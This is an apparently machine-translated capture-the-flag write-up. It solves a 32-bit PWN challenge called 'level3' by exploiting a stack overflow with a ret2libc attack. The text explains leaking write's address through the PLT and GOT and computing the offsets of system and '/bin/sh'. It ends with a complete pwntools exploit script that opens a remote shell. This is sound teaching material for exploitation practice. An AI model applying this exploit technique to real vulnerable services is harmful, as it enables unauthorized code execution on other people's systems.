Offensive and defensive world PWN question level3

Title address

After downloading, I found that the attachment of the title is a 32-bit executable file level, and a 32-bit libc runtime library

Next, use checksec to check which protections are enabled in the elf file, and you can get the following:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Perform to see the effect, and found that the basic process is as follows

Input:
<获取输入>
Hello, World!

Put it in ida and disassemble it to get the following result

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

Found that the function vulnerable_function can continue to view its disassembly code

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

Through the previous checksec, you can find that the canary is not turned on, and the third parameter of read is greater than the size of buf. It can be seen that there is a stack overflow vulnerability. Check the file and find that the logic of the output flag is not found, then the purpose of the topic should be to obtain the shell

To get the shell, the first thing that comes to mind is to find the address of the system, and then modify the return address to the address of the system through the stack overflow vulnerability in the vulnerable_function function, thereby hijacking the program flow, but the system function is not called in the program, and there is no such as " / bin / sh "string, so we can only start from another file in the attachment, this is a runtime file, our purpose is to get the addresses of both through it.

It is assumed that the reader has the knowledge related to got and plt. If you do n’t understand, please search and learn by yourself; or from a less rigorous perspective, for this question, we only need to remember these points:

  1. We will get the addresses of library functions (write and read functions) from got
  2. We will call them with plt
  3. If ASLR is enabled in the system, the loading address of the library is different every time, so the address of the library function is also different
  4. Although ASLR is turned on, the relative position between string constants and functions in library functions is also determined

As long as you know these four points, understand the following exp will be no problem

We can check libc by checksec and find that it has pie enabled, and modern operating systems generally have ASLR enabled, so library functions will be loaded into different locations each time they run, but just like the fourth point above As said, since the relative position between functions is determined, as long as we can know the real address of one of the functions, we can calculate the address of any library function. Here our goal is to get the address of the write function from got What you want to get is the relative position of system and "/ bin / sh" with it, the specific method is as follows

  1. First of all, we need to get the relative position of write and system. Since the library file is essentially a position-independent elf (you can even run it), you can use the readelf tool to view its information. Readelf has an option -s to output symbols table, and the pipe can be combined grep tools used to find the positions of the two functions, the specific command readelf -s libc_32.so.6|grep 函数名 , the command is run twice, and the function names are replaced with write system, looking in the output write@@GLIBC_2.0and system@@GLIBC_2.0, by subtracting the second column write system of The second column gets the relative position-0x99a80

  2. Or you can use pwntools and run the following script to get the same value

    from pwn import *
    
    elf = ELF(libc_32.so.6 相对于 py 文件的位置)
    
    print(hex(elf.symbols['system']-elf.symbols['write']))
    

    The reason is the same as point 1 and will not be explained here

  3. To then obtain the string "/ bin / sh" with respect to the write position, tool strings may be used to perform the strings -at x libc_32.so.6|grep /bin/shaddress string is obtained, or be performed using a tool ROPgadget ROPgadget --binary libc_32.so.6 --string "/bin/sh"command, use two tools not described here; get After reaching the address, subtract the write address to get the relative position 0x84c6b

As mentioned earlier, we will get the address of write through got and call it through plt, so we can construct the payload for the previous stack overflow vulnerability as b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)

This calls write to output its address, where p32 (1) starts with three parameters of write

But this is not enough. We said before that because PIE and ASLR are turned on, the address of the library function will change every time, so the address obtained this time is meaningless in the next run. For this, we need to control the program after obtaining the function address. Execution flow, let it go back to the place of read, so that we can enter another payload to get the shell; but in fact, it can also go back to main, so the part of b'0000 'above needs to be changed p32(elf.symbols['main']), about why the payload here The format is like this, if you do n’t understand, you can see the last part of my other blog

After this, we pass u32(p.recv()[:4])the address of the write can be obtained, can be seen as p32 U32 reverse operation, its parameters p.recv () [: 4], the first four byte fetch is output, because the 32-bit program , The address only needs 4 bytes to represent

After obtaining the address of write, we can obtain the addresses of system and "/ bin / sh" according to the relative addresses calculated above, thus constructing the second payload as

b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b) , Here we only care about the obtained shell, so the return address is written 0000

To sum up, the exp can be obtained as follows

from pwn import *

p = remote(远程ip, 远程端口)
elf = ELF(level3 相对于 py 文件的位置)

payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)

p.recv()
p.sendline(payload)

write_addr = u32(p.recv()[:4])

payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)

p.sendline(payload)

p.interactive()

After obtaining the shell, use the ls command to view the current directory, find the flag file, and use cat to obtain the content

Guess you like

Origin www.cnblogs.com/yuren123/p/12735145.html